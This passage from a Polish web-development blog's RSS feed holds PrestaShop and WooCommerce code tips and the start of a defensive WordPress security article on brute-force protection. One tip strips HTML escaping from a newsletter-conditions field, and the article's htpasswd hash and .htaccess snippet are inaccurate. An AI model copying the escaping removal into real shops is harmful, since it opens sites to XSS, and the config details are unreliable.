					<description><![CDATA[<p>Jeśli chcesz sprawdzić manualnie jaka wersja prestashop jest zainstalowana na Twoim serwerze, wystarczy że zalogujesz sięna serwer FTP i przejdziesz do katalogu: app/AppKernel.php</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3793" class="elementor elementor-3793" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-1f02fa5 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="1f02fa5" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-4ad6d5a" data-id="4ad6d5a" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-0ca9a62 elementor-widget elementor-widget-text-editor" data-id="0ca9a62" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Jeśli chcesz sprawdzić manualnie jaka wersja prestashop jest zainstalowana na Twoim serwerze, wystarczy że zalogujesz sięna serwer FTP i przejdziesz do katalogu: app/AppKernel.php</p>								</div>
				</div>
				<div class="elementor-element elementor-element-875e396 elementor-widget elementor-widget-image" data-id="875e396" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img fetchpriority="high" decoding="async" width="1024" height="365" src="https://sklep.kobietakoduje.pl/wp-content/uploads/wersja-prestashop-1-1024x365.jpg" class="attachment-large size-large wp-image-3795" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/wersja-prestashop-1-1024x365.jpg 1024w, https://sklep.kobietakoduje.pl/wp-content/uploads/wersja-prestashop-1-300x107.jpg 300w, https://sklep.kobietakoduje.pl/wp-content/uploads/wersja-prestashop-1-768x274.jpg 768w, https://sklep.kobietakoduje.pl/wp-content/uploads/wersja-prestashop-1-1536x547.jpg 1536w, https://sklep.kobietakoduje.pl/wp-content/uploads/wersja-prestashop-1.jpg 1920w" sizes="(max-width: 1024px) 100vw, 1024px" />															</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/jak-sprawdzic-wersje-prestashop-manualnie/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Przycisk kontaktu na stronie produktu</title>
		<link>https://sklep.kobietakoduje.pl/przycisk-kontaktu-na-stronie-produktu/</link>
					<comments>https://sklep.kobietakoduje.pl/przycisk-kontaktu-na-stronie-produktu/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Thu, 09 Mar 2023 19:43:06 +0000</pubDate>
				<category><![CDATA[Sklep internetowy]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3791</guid>

					<description><![CDATA[<p>Dodaj poniższy kod w pliku functions.php: add_action( 'woocommerce_single_product_summary', 'wpso_add_seller_button', 15 ); function wpso_add_seller_button() { echo '&#60;a class=&#34;button&#34; href=&#34;Tw&#243;jLink&#34;&#62;Skontaktuj się&#60;/a&#62;'; }</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3791" class="elementor elementor-3791" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-6e0d03a3 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="6e0d03a3" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-3c4e0453" data-id="3c4e0453" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-354467fe elementor-widget elementor-widget-text-editor" data-id="354467fe" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Dodaj poniższy kod w pliku functions.php:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-b677343 elementor-widget elementor-widget-code-block-for-elementor" data-id="b677343" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'>add_action( &#039;woocommerce_single_product_summary&#039;, &#039;wpso_add_seller_button&#039;, 15 );
function wpso_add_seller_button() {
echo &#039;&lt;a class=&quot;button&quot; href=&quot;Tw&oacute;jLink&quot;&gt;Skontaktuj się&lt;/a&gt;&#039;;
}</code></pre>				</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/przycisk-kontaktu-na-stronie-produktu/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Tipy prestashop</title>
		<link>https://sklep.kobietakoduje.pl/tipy-prestashop/</link>
					<comments>https://sklep.kobietakoduje.pl/tipy-prestashop/#comments</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Tue, 31 May 2022 09:00:41 +0000</pubDate>
				<category><![CDATA[Prestashop]]></category>
		<category><![CDATA[Sklep internetowy]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3303</guid>

					<description><![CDATA[<p>1. Dodawanie kodu html w backendzie zamiast tekstu. Jeśli chcesz w kodzie pliku .tpl edytować skrypt w taki sposób aby móc po stronie admina wprowadzać nie tylko suchy tekst, ale także kod html należy dokonać podmiany np. z {$conditions} na {$conditions&#124;escape:'html' nofilter} 2. Poprawne linkowanie do regulaminu i polityki w zapisie do newslettera, przy zakładaniu [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3303" class="elementor elementor-3303" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-5515e64 elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="5515e64" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-6c8c4e0" data-id="6c8c4e0" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-0546de1 elementor-widget elementor-widget-heading" data-id="0546de1" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">1. Dodawanie kodu html w backendzie zamiast tekstu.</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-f617f04 elementor-widget elementor-widget-text-editor" data-id="f617f04" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									
Jeśli chcesz w kodzie pliku .tpl edytować skrypt w taki sposób aby móc po stronie admina wprowadzać nie tylko suchy tekst, ale także kod html należy dokonać podmiany np. z								</div>
				</div>
				<div class="elementor-element elementor-element-4626b93 elementor-widget elementor-widget-code-block-for-elementor" data-id="4626b93" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-javascript'>{$conditions}</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-8d3a5fe elementor-widget elementor-widget-text-editor" data-id="8d3a5fe" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>na</p>								</div>
				</div>
				<div class="elementor-element elementor-element-e69efc6 elementor-widget elementor-widget-code-block-for-elementor" data-id="e69efc6" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-javascript'>{$conditions|escape:&#039;html&#039; nofilter}</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-09abda0 elementor-widget elementor-widget-heading" data-id="09abda0" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">2. Poprawne linkowanie do regulaminu i polityki w zapisie do newslettera, przy zakładaniu konta i w zakładce "moje konto". (wersja 1.7.8.3)</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-cd618fb elementor-widget elementor-widget-text-editor" data-id="cd618fb" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Jeśli używasz modułu ps_emailsubscription i przez panel administratora wprowadzasz warunki zapisu do newslettera, co wygląda mniej więcej tak:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-7fefcd7 elementor-widget elementor-widget-image" data-id="7fefcd7" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img decoding="async" width="1024" height="495" src="https://sklep.kobietakoduje.pl/wp-content/uploads/zapis-do-newslettera-1024x495.png" class="attachment-large size-large wp-image-3326" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/zapis-do-newslettera-1024x495.png 1024w, https://sklep.kobietakoduje.pl/wp-content/uploads/zapis-do-newslettera-300x145.png 300w, https://sklep.kobietakoduje.pl/wp-content/uploads/zapis-do-newslettera-768x371.png 768w, https://sklep.kobietakoduje.pl/wp-content/uploads/zapis-do-newslettera-1536x742.png 1536w, https://sklep.kobietakoduje.pl/wp-content/uploads/zapis-do-newslettera-600x290.png 600w, https://sklep.kobietakoduje.pl/wp-content/uploads/zapis-do-newslettera.png 1614w" sizes="(max-width: 1024px) 100vw, 1024px" />															</div>
				</div>
				<div class="elementor-element elementor-element-3761ba0 elementor-widget elementor-widget-text-editor" data-id="3761ba0" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>W zakładce &#8222;moje konto&#8221; i przy zakładaniu konta spotkasz się z denerwującym zachowaniem kodu html, który nie zamienia się na link jak tutaj:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-d119acd elementor-widget elementor-widget-image" data-id="d119acd" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img decoding="async" width="592" height="264" src="https://sklep.kobietakoduje.pl/wp-content/uploads/akceptacja-zla.png" class="attachment-large size-large wp-image-3327" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/akceptacja-zla.png 592w, https://sklep.kobietakoduje.pl/wp-content/uploads/akceptacja-zla-300x134.png 300w" sizes="(max-width: 592px) 100vw, 592px" />															</div>
				</div>
				<div class="elementor-element elementor-element-3027a1e elementor-widget elementor-widget-text-editor" data-id="3027a1e" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Żeby rozwiązać ten problem musisz dotrzeć do ścieżki modules\ps_emailsubscription i otworzyć plik ps_emailsubscription.php a następnie odszukać linię 1005, a dokładnie funkcję:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-b5304c3 elementor-widget elementor-widget-code-block-for-elementor" data-id="b5304c3" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'>public function hookAdditionalCustomerFormFields($params)
    {
        $label = $this-&gt;trans(
            &#039;Sign up for our newsletter[1][2]%conditions%[/2]&#039;,
            [
                &#039;[1]&#039; =&gt; &#039;&lt;br&gt;&#039;,
                &#039;[2]&#039; =&gt; &#039;&lt;em&gt;&#039;,
                &#039;%conditions%&#039; =&gt; Tools::htmlentitiesUTF8(
                    Configuration::get(&#039;NW_CONDITIONS&#039;, $this-&gt;context-&gt;language-&gt;id)
                ),
                &#039;[/2]&#039; =&gt; &#039;&lt;/em&gt;&#039;,
            ],
            &#039;Modules.Emailsubscription.Shop&#039;
        );

        return [
            (new FormField())-&gt;setName(&#039;newsletter&#039;)-&gt;setType(&#039;checkbox&#039;)-&gt;setLabel($label),
        ];
    }</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-d990f96 elementor-widget elementor-widget-text-editor" data-id="d990f96" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>i zamienić ją na:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-b6919ce elementor-widget elementor-widget-code-block-for-elementor" data-id="b6919ce" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'> public function hookAdditionalCustomerFormFields($params)
    {
        $label = $this-&gt;trans(
            &#039;Sign up for our newsletter[1][2]%conditions%[/2]&#039;,
            [
                &#039;[1]&#039; =&gt; &#039;&lt;br&gt;&#039;,
                &#039;[2]&#039; =&gt; &#039;&lt;em&gt;&#039;,
                &#039;%conditions%&#039; =&gt; #Tools::htmlentitiesUTF8(
                    Configuration::get(&#039;NW_CONDITIONS&#039;, $this-&gt;context-&gt;language-&gt;id)
                #),
		,
                &#039;[/2]&#039; =&gt; &#039;&lt;/em&gt;&#039;,
            ],
            &#039;Modules.Emailsubscription.Shop&#039;
        );

        return [
            (new FormField())-&gt;setName(&#039;newsletter&#039;)-&gt;setType(&#039;checkbox&#039;)-&gt;setLabel($label),
        ];
    }</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-2b2f1e7 elementor-widget elementor-widget-text-editor" data-id="2b2f1e7" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>To rozwiązanie nie działa? Spróbuj więc odszukać plik</p><pre class="code">/themes/alysum/templates/_partials/form-fields.tpl</pre><p> </p><p>i zamiast (linia 90-98):</p>								</div>
				</div>
				<div class="elementor-element elementor-element-0a572d8 elementor-widget elementor-widget-code-block-for-elementor" data-id="0a572d8" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'>{block name=&#039;form_field_item_checkbox&#039;}
                        &lt;span class=&quot;custom-checkbox&quot;&gt;
                            &lt;input name=&quot;{$field.name}&quot; id=&quot;{$field.name}&quot; type=&quot;checkbox&quot; value=&quot;1&quot;
                                {if $field.value}checked=&quot;checked&quot; {/if} {if $field.required}required{/if}&gt;
                            &lt;span&gt;
                                {svgic id=&#039;done&#039; class=&#039;svgic-done&#039;}
                            &lt;/span&gt;
                            &lt;label for=&quot;{$field.name}&quot;&gt;{$field.label nofilter}&lt;/label&gt;
                        &lt;/span&gt;
                    {/block}</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-9adb4d1 elementor-widget elementor-widget-text-editor" data-id="9adb4d1" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Wstaw:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-f758121 elementor-widget elementor-widget-code-block-for-elementor" data-id="f758121" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'> {block name=&#039;form_field_item_checkbox&#039;}
                        &lt;span class=&quot;custom-checkbox&quot;&gt;
                            &lt;input name=&quot;{$field.name}&quot; id=&quot;{$field.name}&quot; type=&quot;checkbox&quot; value=&quot;1&quot;
                                {if $field.value}checked=&quot;checked&quot; {/if} {if $field.required}required{/if}&gt;
                            &lt;span&gt;
                                {svgic id=&#039;done&#039; class=&#039;svgic-done&#039;}
                            &lt;/span&gt;
                            &lt;label for=&quot;{$field.name}&quot;&gt;{$field.label|unescape:&#039;html&#039; nofilter}&lt;/label&gt;
                        &lt;/span&gt;
                    {/block}</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-e22554c elementor-widget elementor-widget-heading" data-id="e22554c" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">3. Jak usunąć z tematu maila prestashop nazwę sklepu [PS_SHOP_NAME] i zmienić jego nazwę (wersja 1.7.8.3.)</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-8e8869c elementor-widget elementor-widget-text-editor" data-id="8e8869c" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Jest jeden zabieg który działa w przypadku maili wysyłanych po przez zmianę statusu zamówienia. Po zastosowaniu tego tipu temat maila określany będzie po przez nazwę statusu. Nie zmienisz w ten sposób tematów innych maili jak np. zmiany hasła itp.</p><p>A więc, odszukaj plik ./classes/Mail.php i zamień:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-7d0c858 elementor-widget elementor-widget-code-block-for-elementor" data-id="7d0c858" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-php'> $subject = &#039;[&#039; . strip_tags($configuration[&#039;PS_SHOP_NAME&#039;]) . &#039;] &#039; . $subject;</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-d740997 elementor-widget elementor-widget-text-editor" data-id="d740997" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>na:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-fda485a elementor-widget elementor-widget-code-block-for-elementor" data-id="fda485a" data-element_type="widget" data-e-type="widget" data-widget_type="code-block-for-elementor.default">
				<div class="elementor-widget-container">
					<pre class='line-numbers theme-okaidia' data-show-toolbar='yes'><code class='language-javascript'>$subject = $subject;</code></pre>				</div>
				</div>
				<div class="elementor-element elementor-element-a7b4b5c elementor-widget elementor-widget-heading" data-id="a7b4b5c" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">4. Jak zmienić szablon/wygląd faktury (wersja 1.7.8.3.)</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-8105d0d elementor-widget elementor-widget-text-editor" data-id="8105d0d" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Odnajdź folder /pdf w katalogu głównym i znajdziesz tam wszelkie pliki .tpl które możesz zmieniać:</p><p>*.tpl plik do wykonania faktury: header.tpl, footer.tpl, invoice***.tpl<br />*.tpl plik do wykonania dostawy: header.tpl, footer.tpl, delivery-slip***.tpl<br />*.tpl pliki do wykonania zwrotów: header.tpl, footer.tpl, order-return***.tpl<br />*.tpl pliki do wykonania dostawy: supply-order***.tpl</p>								</div>
				</div>
					</div>
		</div>
					</div>
		</section>
				</div><p></p>]]></content:encoded>
					
					<wfw:commentRss>https://sklep.kobietakoduje.pl/tipy-prestashop/feed/</wfw:commentRss>
			<slash:comments>2</slash:comments>
		
		
			</item>
		<item>
		<title>Bezpieczeństwo w wordpress cz. II</title>
		<link>https://sklep.kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-ii/</link>
					<comments>https://sklep.kobietakoduje.pl/bezpieczenstwo-w-wordpress-cz-ii/#respond</comments>
		
		<dc:creator><![CDATA[kobieta koduje]]></dc:creator>
		<pubDate>Wed, 02 Mar 2022 17:04:57 +0000</pubDate>
				<category><![CDATA[IT]]></category>
		<category><![CDATA[Strona www]]></category>
		<category><![CDATA[Woocommerce]]></category>
		<category><![CDATA[Wordpress www]]></category>
		<guid isPermaLink="false">https://kobietakoduje.pl/?p=3255</guid>

					<description><![CDATA[<p>WordPress nie należy do aplikacji o największym poziomie bezpieczeństwa, i wynika to z kilku historycznych powodów: Miał być narzędziem do prowadzenia blogów czy też stron wizytówkowych, a nie sklepem internetowym czy czymkolwiek innym co zawierałoby wrażliwe dane o użytkownikach. Powstał w 2003 roku, a 20 lat w branży IT to jak epoka dla innych dziedzin [&#8230;]</p>
<p></p>]]></description>
										<content:encoded><![CDATA[<div data-elementor-type="wp-post" data-elementor-id="3255" class="elementor elementor-3255" data-elementor-post-type="post">
						<section class="elementor-section elementor-top-section elementor-element elementor-element-ddcc5cd elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="ddcc5cd" data-element_type="section" data-e-type="section">
						<div class="elementor-container elementor-column-gap-default">
					<div class="elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-ab2b2fa" data-id="ab2b2fa" data-element_type="column" data-e-type="column">
			<div class="elementor-widget-wrap elementor-element-populated">
						<div class="elementor-element elementor-element-ecbbf59 elementor-widget elementor-widget-text-editor" data-id="ecbbf59" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>WordPress nie należy do aplikacji o największym poziomie bezpieczeństwa, i wynika to z kilku historycznych powodów:</p><p>Miał być narzędziem do prowadzenia blogów czy też stron wizytówkowych, a nie sklepem internetowym czy czymkolwiek innym co zawierałoby wrażliwe dane o użytkownikach.<br />Powstał w 2003 roku, a 20 lat w branży IT to jak epoka dla innych dziedzin biznesowych. Internet przeszedł ewolucję w kwestii cyberbezpieczeństwa, i tak jak kiedyś był to jeden wielki znak zapytania, tak teraz zwraca się na to dużo większą (choć nadal niewystarczającą) uwagę.<br />Posiada rozproszony autorytet, lub jak kto woli &#8211; powstał jako open source. Umożliwia nam to rozszerzenie naszej aplikacji o kod zarówno programistów tworzących oprogramowanie komercyjne w sposób w pełni profesjonalny, jak i tych, którzy dopiero się tego uczą.</p><p>Przejdźmy przez najpopularniejsze metody ochrony przed poszczególnymi atakami:</p><p>Będziemy starać się unikać instalacji dodatkowych wtyczek z racji, że są one potencjalnie możliwymi wektorami ataku.</p>								</div>
				</div>
				<div class="elementor-element elementor-element-ac5d50c elementor-widget elementor-widget-heading" data-id="ac5d50c" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">Bruteforce</h2>				</div>
				</div>
				<div class="elementor-element elementor-element-e1937ea elementor-widget elementor-widget-text-editor" data-id="e1937ea" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>Atak typu bruteforce czyli atak słownikowy polegający na odgadywania haseł “losowo”. Jest to najprymitywniejsza forma ataku jakiej może dopuścić się złośliwy użytkownik i jednoczesnie jedna z łatwiejszych do ochrony bo wystarczy… ustawić ponadprzeciętne hasło.</p><p>Ma to na celu uczynić próby atakującego nieopłacalnymi w czasie, lecz jeśli jesteś trochę bardziej świadomym programistą to możesz zauważyć pewien problem &#8211; ataki typu bruteforce są z natury podobne do ataków typu DDoS, gdyż niezamierzonym efektem ubocznym jest wygenerowanie bardzo dużego ruchu na stronie co skutkuje zaburzeniem pracy serwera.</p><p>Ale jak to?</p><p>Każdy użytkownik odwiedzający strony WordPressowe niezależnie od tego czy odwiedza stronę ze zdjęciami, swój koszyk, formularz kontaktowy lub dowolny inny adres na naszej stronie “rezewuje” sobie kilkanaście / kilkadziesiąt megabajtów pamięci (w zależności od konfiguracji, ilośći wtyczek, itp.), jakiś procent zużycia procesora, i coś tam przepustowości sieci, w skrócie &#8211; zabiera nam zasoby.</p><p>Kiedy jeden użytkownik próbuje 100 razy odgadnąć hasło to problem nie nastaje bo robi to synchronicznie (jedna próba za drugą), natomiast w przypadku tego typu ataków możemy spodziewać się symulacji wydarzeń w których serwer otrzymuje żądania od kilkudziesięciu użytkowników jednocześnie co często kończy się spadkiem wydajności strony, albo nawet jej crashem.</p><p>Przed klasycznym atakiem DDoS powinien ochronić nas w przypadku serwerów współdzielonych nasz dostawca hostingowy, gdyż ma całkowitą kontrolę nad infrastrukturą, natomiast przed próbą włamania się do panelu administracyjnego musimy już radzić sobie sami.</p><p><strong>Metod jest kilka:</strong><br /><strong>Ustawienie hasła dla adresu /wp-admin za pomocą htpasswd</strong></p><p>Aplikacja htpasswd pozwala nam wygenerować plik zawierający nazwę użytkownika, oraz hash hasła służącego do autoryzacji pod danym adresem URL. Oznacza to, że zanim dostaniemy możliwość wpisania danych do naszej strony ujrzymy następujący popup na stronie:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-cefb8fc elementor-widget elementor-widget-image" data-id="cefb8fc" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="446" height="234" src="https://sklep.kobietakoduje.pl/wp-content/uploads/zmiana-adresu-do-logowania-wp.png" class="attachment-large size-large wp-image-3256" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/zmiana-adresu-do-logowania-wp.png 446w, https://sklep.kobietakoduje.pl/wp-content/uploads/zmiana-adresu-do-logowania-wp-300x157.png 300w" sizes="(max-width: 446px) 100vw, 446px" />															</div>
				</div>
				<div class="elementor-element elementor-element-d956255 elementor-widget elementor-widget-text-editor" data-id="d956255" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									<p>I co to zmienia? Użytkownik nadal może zgadywać hasło</p><p>Owszem, lecz w tym przypadku nie jest zaangażowany do tego silnik PHP a jedynie serwer Apache co krytycznie zmniejsza ilość pożeranych zasobów przez złośliwe boty odwiedzające naszą stronę. Często sposób w jaki są oskryptowane sprawia, że po otrzymaniu wymagania dodatkowego uwierzytelnienia porzucają dalsze próby włamania się na stronę.</p><p>No ok, więc jak to dodać na mojej stronie?</p><p>Zarówno na Linuxie jak i Windowsie aplikacja ma nazwę htpasswd i jest dostarczana wraz z serwerem Apache, lub oddzielnie w paczce xxx-utils (linux)</p><p>https://httpd.apache.org/docs/2.4/programs/htpasswd.html</p><p>Popularne ścieżka w systemie Windows to C:/Xampp/bin/htpasswd.exe</p><p>Wywołujemy ten program następująco:</p><p>htpasswd.exe -c -B C:\Projects\Wordpress\.htpasswd John</p><p>Zostaniemy poproszeni o dwukrotne wpisanie hasła, po czym zostanie utworzony w podanej ścieżce plik .htpasswd zawierający mniej więcej taką zawartość:</p><p>John:$apr1$a1iNsTt2$H.MDgnxQ6jafyHmK0R78i1</p><p>Gdzie po lewo jest nazwa użytkownika do logowania, a po prawo hash zapisany za pomocą algorytmu bcrypt (-B)</p><p>I co z tym plikiem?</p><p>Tak gotowy plik wrzucamy do głównego katalogu i instruujemy serwer Apache by chronił nim poszczególne adresy URL</p><p>Uwaga: jeżeli mamy taką możliwość to nie przechowujemy tego pliku w katalogu w którym znajduje się nasza strona www. Odpowiednio skonfigurowany serwer Apache powinien ten plik odczytywać z lokacji niedostępnej dla silnika PHP. Niestety w przypadku serwerów współdzielonych zazwyczaj dostajemy FTP i krzyż na drogę więc zostaje nam tylko takie rozwiązanie</p><p>No dobra dobra, co z tym instruowaniem Apacha?</p><p>Edytujemy treść pliku .htaccess by zawierał następującą treść na początku:</p><p>SetEnvIf Request_URI ^/wp-admin require_auth=true</p><p>AuthUserFile /var/www/html/.htpasswd<br />AuthName &#8222;Hello there&#8221;<br />AuthType Basic</p><p>Order Deny,Allow<br />Deny from all<br />Satisfy any<br />Require valid-user<br />Allow from env=!require_auth</p><p>order allow,deny<br />deny from all</p><p>Ta reguła mówi nam: “Jeśli adres URL zaczyna się od wp-admin, to wymuś autoryzację za pomocą pliku /var/www/html/.htpasswd”, oraz “Zabroń bezpośredniego dostępu do pliku .htaccess” tak by nie można było go podejrzeć manipulując adresem URL</p><p>Tutaj ścieżka do pliku .htpasswd będzie prawdopodobnie zupełnie inna dla środowisk w których posiadacie swoje strony. W przypadku, gdy nie zostało to zablokowane to z pomocą Filezilli można kliknąć na dowolnym katalogu i pobrać jego pełną ścieżkę na serwerze. Podanie ścieżki relatywnej odbywa się względem katalogu na którym jest serwer (nie strona), a na hostingu współdzielonym nie powinniśmy mieć do tej lokacji dostępu więc jesteśmy tu skazani na użycie ścieżki absolutnej, o której zmianie warto pamiętać przy migracji na inne serwery.</p><p><strong>Zmiana adresu /wp-admin na inny</strong></p><p>A co gdyby tak zmienić adres do logowania się zamiast zakładać na niego dodatkowe hasła, które musimy pamiętać? Da się, aczkolwiek jest to tzw. security by obscurity czyli bezpieczeństwo przez niejawność &#8211; szeroko krytykowane jako niewystarczające podejście do tematu cyberbezpieczeństwa. Niemniej warto to zrobić jako uzupełnienie do innych metod ochrony naszej strony.</p><p>Użyjemy w tym celu wtyczki WPS Hide Login</p><p>Jest ona o tyle prosta w konfiguracji, że wystarczy skonfigurować adres do logowania na inny ja poniżej na zdjęciu:</p>								</div>
				</div>
				<div class="elementor-element elementor-element-c86523c elementor-widget elementor-widget-image" data-id="c86523c" data-element_type="widget" data-e-type="widget" data-widget_type="image.default">
				<div class="elementor-widget-container">
															<img loading="lazy" decoding="async" width="512" height="38" src="https://sklep.kobietakoduje.pl/wp-content/uploads/wps-hide-login-ukryj-url-logowania.png" class="attachment-large size-large wp-image-3257" alt="" srcset="https://sklep.kobietakoduje.pl/wp-content/uploads/wps-hide-login-ukryj-url-logowania.png 512w, https://sklep.kobietakoduje.pl/wp-content/uploads/wps-hide-login-ukryj-url-logowania-300x22.png 300w" sizes="(max-width: 512px) 100vw, 512px" />															</div>
				</div>
				<div class="elementor-element elementor-element-bcef7e8 elementor-widget elementor-widget-text-editor" data-id="bcef7e8" data-element_type="widget" data-e-type="widget" data-widget_type="text-editor.default">
				<div class="elementor-widget-container">
									Klikamy na Zapisz Zmiany i mamy nowy adres URL do logowania się


								</div>
				</div>
				<div class="elementor-element elementor-element-5489091 elementor-widget elementor-widget-heading" data-id="5489091" data-element_type="widget" data-e-type="widget" data-widget_type="heading.default">
				<div class="elementor-widget-container">
					<h2 class="elementor-heading-title elementor-size-default">CROSS-SITE / XSS</h2>				</div>
